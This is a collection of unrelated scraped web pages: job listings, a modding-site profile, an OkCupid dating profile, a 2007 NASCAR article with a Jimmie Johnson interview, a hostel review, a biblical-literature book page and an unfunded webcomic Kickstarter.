Austin, TX Job Description MaxPoint Interactive is seeking a highly motivated Technical Product Manager to work with our engineering and analytics teams. This position will be responsible for working cross-functionally to fully define and execute the technical roadmap8/16/2015 Austin, TX Save This Job
Morrisville, NC Job Description MaxPoint Interactive is seeking a highly motivated Technical Product Manager to work with our engineering and analytics teams. This position will be responsible for working cross-functionally to fully define and execute the technical roadmap8/16/2015 Morrisville, NC Save This Job


text:
I enjoy modding games a great deal. I don't tend to comment or make my self known but i browse all kinds of mods and started taking a poke at some indie games hosted here.
No images, videos or audio files have been added to this gallery. Join now to share media with the community.
No one is friends with Cylek awww. You should invite your mates to the site, or make new ones.


text:
Hey there! I'm kinda new to DFW, in no real rush for a relationship but don't want to limit my chances on meeting a great woman, and I'm definitely interested in finding someone to explore the area with.
Join OkCupid
Find better matches with our advanced
Find better matches with our advanced
matching system
—% Match
—% Enemy
34 • Dallas, TX • Man
I'm looking for
- Women
- Ages 24–36
- Near me
- Who are single
- For new friends, long-term dating, short-term dating
My details
- Last online
- Jan 14, 2014
- Orientation
- Straight
- Ethnicity
- White
- Status
- Single
- Height
- 6' 1" (1.86m)
- Body Type
- Athletic
- Smoking
- No
- Drinking
- Socially
- Drugs
- Never
- Religion
- Christianity
- Sign
- Aquarius
- Education
- University
- Offspring
- Wants kids
- Speaks
- English
My self-summary
Write a little about yourself. Just a paragraph will do.
What I'm doing with my life
Don't overthink this one; tell us what you're doing day-to-day.
Originally from SoCal, I moved out here in 2011 to pursue fire fighting. Didn't know anyone when I moved here but have made some great friends from work who I hang out with on almost a daily basis. I work a unique schedule and have plenty of free time to explore interests and do activities.
I'm really good at
Go on, brag a little (or a lot). We won't judge.
Being sociable, knowing how to be a gentleman and how to treat a lady.
The first things people usually notice about me
I'm an empty essay… fill me out!
I might seem a little shy at first, but don't be fooled ;)
I spend a lot of time thinking about
Global warming, lunch, or your next vacation… it's all fair game.
How to be the best person/friend/fire fighter/etc I can be at that moment. I don't want to be perfect and don't want to date someone who thinks they're perfect. However, I want to constantly try to be better and hope the same is true of the person I'm with.
I enjoy being active and am attracted to fit, active women. I like to run, cycle, and recently started CrossFit. I hit the pool or float a river whenever I can
I enjoy being active and am attracted to fit, active women. I like to run, cycle, and recently started CrossFit. I hit the pool or float a river whenever I can
On a typical Friday night I am
Netflix and takeout, or getting your party on — how do you let loose?
If I'm not at work, I'm probably having fun with old friends or doing my best to make new ones!
The most private thing I'm willing to admit
I'm an empty essay… fill me out!
I take bubble baths
You should message me if
Offer a few tips to help matches win you over.
You like what you've seen in my profile, are a fit & active woman, and think we might have fun hanging out sometime.
Report this photo
How does this violate our Photo Rules?
You must be in the photo! Full nudity, extreme close ups, pets, cars, baby photos, artwork, images you've added yourself to, etc. are not allowed.
Photos in albums are meant to showcase other aspects of your life, and may include pets, cars, baby photos, artwork, etc. Full nudity and offensive content are not allowed.
Thanks! We'll look into the issue soon.
Flagging inappropriate content keeps OkCupid awesome. You're now eligible to be a flag moderator!
Connect your existing OkCupid account
Sign in
Welcome Back!
Restore your account to continue
meeting new people.
Reset your password
We'll email you a link to reset it.
Email sent!
An email is on its way to .
If you don't see it, try checking
your Spam folder.


text:
Johnson one of first to congratulate Bowyer on win
Published: Wednesday, September 19, 2007 at 3:30 a.m.
Last Modified: Tuesday, September 18, 2007 at 11:00 p.m.
CHARLOTTE, N.C. | When Jimmie Johnson won his first race, he was touched by the veterans who visited him in Victory Lane. The memory of that 2002 celebration at California Speedway stuck with him, and hes tried to do the same for other drivers.
So when Clint Bowyer crossed the finish line for his first Nextel Cup victory Sunday at New Hampshire, Johnson went directly to congratulate him.
Clint is one of the funniest guys out there, and I said 'Man, Ive got to get to Victory Lane to see him,"' Johnson said. I remember when I won my first race, the one thing that still sticks out to me is all the guys who came to say 'Congrats. Dale Jarrett was one of them; he came in and said 'welcome to the sport.
When veterans come and show that respect, it just means so much. Ive kind of gotten into it, and I like being nice and doing it for other drivers."
Still, the defending Nextel Cup champion was a little bitter that he wasnt celebrating his own victory. He finished sixth Sunday and remains tied for the points lead with teammate Jeff Gordon.
Johnson thought he had the car to beat, but Bowyer led all but 88 of the 300 laps.
I was really disappointed when the race was over. Because we were so good in practice, I thought to myself 'Weve got it. No one can touch us,"' Johnson said. And then to have Clint just kill the field. Nobody saw that coming."
-- -- --
Johnsons Q&A with Auto Racing Writer Jenna Fryer:
Q: You sound a little sluggish today, the day after your 32nd birthday. Feeling OK?
JJ: Man, I am feeling rough. My head hurts, my body hurts. Im burning all over. Not enough sleep at all."
Q: What did you get into?
JJ: We went to this dive Mexican restaurant in New York called Tortilla Flats. Youd love the place. It has the cheesiest stuff you could ever imagine hanging from the ceiling, Christmas lights hung all over the place. And theres all kinds of crazy stuff going on. Theres a singing Elvis. They had all kinds of contests taking place, a couple rounds of bingo. We just put a couple tables together and had a blast."
Q: I know you love guacamole, so which did you have more of? The guacamole or the margaritas?
JJ: No question, more margaritas. I didnt even eat, because I was so occupied with all the fun stuff. I ended up staying with the liquids the whole way through. I am definitely paying the price today."
Q: What was your best present?
JJ: I dont even know if I got to open them all yet! You know, one thing, my wife and a friend took my senior yearbook photo, scanned it and had it silk screened on T-shirts. I walked into the place, and they were everywhere. I thought 'Man, that is so wrong. And within 20 or 30 minutes, everybody was wearing them. It was just wrong."
Q: Who was better looking? Jimmie Johnson the high school senior? Or Jimmie Johnson the 32-year-old Nextel Cup champion?
JJ: I think this version. I was rocking a mullet at the time of that photo. Its funny, but its embarrassing. And I have a feeling that thing is going to surface at the track real soon."
Reader comments posted to this article may be published in our print edition. All rights reserved. This copyrighted material may not be re-published without permission. Links are encouraged.
Comments are currently unavailable on this article


text: This place is really really clean and good located. The whole hostel isnt that big, so its very quiet and perfect for holidays. There is a free parking just behind the hostel if you need it. We stayed only for one night in an 6 beds dorm, where we had a great sleep in confortable and warm beds. The showers... More


text:
Reading Biblical Narratives: Literary Criticism and the Hebrew Bible
By Yairah Amit, Yael Lotan
Reading Biblical Narratives: Literary Criticism and the Hebrew Bible
By Yairah Amit, Yael Lotan
Based on a series of lectures given in Israel, Amit introduces the reader to the subtle ways of the biblical narrators. Covering issues of character, plot development, catchword association, narration, and dialog, she brings the biblical text to life, helping the reader enter the stories from new vantage points.
Related books and articles
- Books
- Journals
- Magazines
- Newspapers
- Encyclopedia
Stories in Scripture and Inscriptions: Comparative Studies on Narratives in Northwest Semitic Inscriptions and the Hebrew Bible By Simon B. Parker Oxford University Press, 1997
Word Order and Time in Biblical Hebrew Narrative By Tal Goldfajn Oxford University, 1998
Reading Women's Stories: Female Characters in the Hebrew Bible By John Petersen Fortress Press, 2004
Multilayers in Modern Hebrew Syntax By Zewi, Tamar Hebrew Studies Journal, Vol. 49, Annual 2008
Elliot Rabin. Understanding the Hebrew Bible By Vogel, Dan Jewish Bible Quarterly, Vol. 35, No. 2, April 2007
What Do We Actually Know about Ancient Hebrew By Young, Ian The Australian Journal of Jewish Studies, Vol. 27, Annual 2013
An Introduction to Modern Israeli Literature. (Arts and Letters) By Grossberg, Daniel Midstream, Vol. 49, No. 4, May-June 2003
Sanctuary in the Wilderness: A Critical Introduction to American Hebrew Poetry By Daniel, Dalia R. World Literature Today, Vol. 86, No. 5, September/October 2012
Learning Hebrew Ethiopian-Style By Fisher-Ilan, Allyn UNESCO Courier, September 2001
Bible Literature Class Intrigues Teen Readers By King, Sammi Daily Herald (Arlington Heights, IL), November 1, 2005
Top English Teachers See Value of Teaching Bible as Literature By Doolittle, Amy The Washington Times (Washington, DC), May 1, 2005
Teaching of Bible as Literature Hailed as Step Ahead in Florida By Witham, Larry The Washington Times (Washington, DC), March 19, 2000


text:
Let's rock this con. (Patrick cosplay optional.) Read more
Funding Unsuccessful
This project's funding goal was not reached on May 18, 2012.
Let's rock this con. (Patrick cosplay optional.)
About this project
Send who to what now?
But I'm A Cat Person is a webcomic about magical shapeshifting battle monsters, and the ordinary humans who don't have time for this nonsense when they're trying to do laundry.
Otakon is an anime/manga/J-fandom convention held every summer in Baltimore, MD. It's kind of like the Promised Land for the very people who spend money on things like BICP.
They're like chocolate and peanut butter, if the chocolate held up to 25,000 people and the peanut butter did drag on the weekends.
But Seriously, Though--
Seriously, Otakon is a great place for your humble artist to help run workshops, pass out advertisements, sit down with some readers, and maybe even sell a couple books.
All it takes is the money to put everything together. The print ads. The books -- we're up to three issues now, and issue 4 should be available by con weekend. The merchandise! I'm thinking buttons, magnets, stickers...if we can't afford them all, we'll put it to the vote of the reader base and see what you all want most.
In addition to being for sale, some BICP items will become prizes in this year's Make a Manga Tournament, which the artist is helping to judge. Con attendees, don't miss it.
And whether or not you'll make it to the con, please donate! You get custom artwork, nifty BICP paraphernelia, and the warm glow of aiding a cartoonist in need; I get a crowdsourced pseudo-venture-capitalist investment in my projected overall profit margin. Everybody wins!
Send BICP to Otakon!
That's the spirit!
Please pitch in if you can. Every bit helps, and every donor will be greatly appreciated.
Whether or not you have the spare change right now, though, do keep reading the comic...and wish me luck!
Have a question? If the info above doesn't help, you can ask the project creator directly.
Select this reward
Pledge $1 or more
About $1.00 USD
0 backers
A monochrome chibi or sketch of the character of your choice, drawn by the artist.Less
Select this reward
Pledge $5 or more
About $5 USD
0 backers
Did we say monochrome? Now it's full-color. That's right -- R, G, *and* B. And we'll throw in an ebook of any BICP issue of your choice, up to #4.Less
Select this reward
Pledge $10 or more
About $10 USD
4 backers
Did we say chibi/sketch? Now it's a full figure! Which is especially nice if you want to see the character in a pinup. You get the ebook choice with this one, too, plus your name in a list of donors on the BICP site, linked to the website of your choice.Less
Select this reward
Pledge $25 or more
About $25 USD
3 backers
A real-life, 3-D, processed-wood-pulp edition of the BICP issue of your choice -- signed by the author! -- again, up to chapter 4. Plus the full-color figure, the link, and all the ebooks. All of them.Less
Select this reward
Pledge $50 or more
About $50 USD
0 backers Limited (5 left of 5)
A cameo of yourself -- or your much-cooler avatar, whichever you prefer -- in BICP. Not only will your name be on the website, you'll be thanked in an upcoming issue. Plus you get the existing dead-tree issue, the figure, and the ebooks!Less
Select this reward
Pledge $75 or more
About $75 USD
1 backer Limited (4 left of 5)
The original lineart of a BICP page of your choice, mailed directly to your door! Along with everything from the previous tiers (by mail or email, as applicable).Less
Select this reward
Pledge $100 or more
About $100 USD
0 backers Limited (1 left of 1)
Grab this one, and you'll get to name a Being. Pick an animal not yet mentioned on the website, and your choice of their current name, human form, and location will become canon. And yes, all the rewards from the previous tiers are in this one too.Less
Funding period
- (24 days)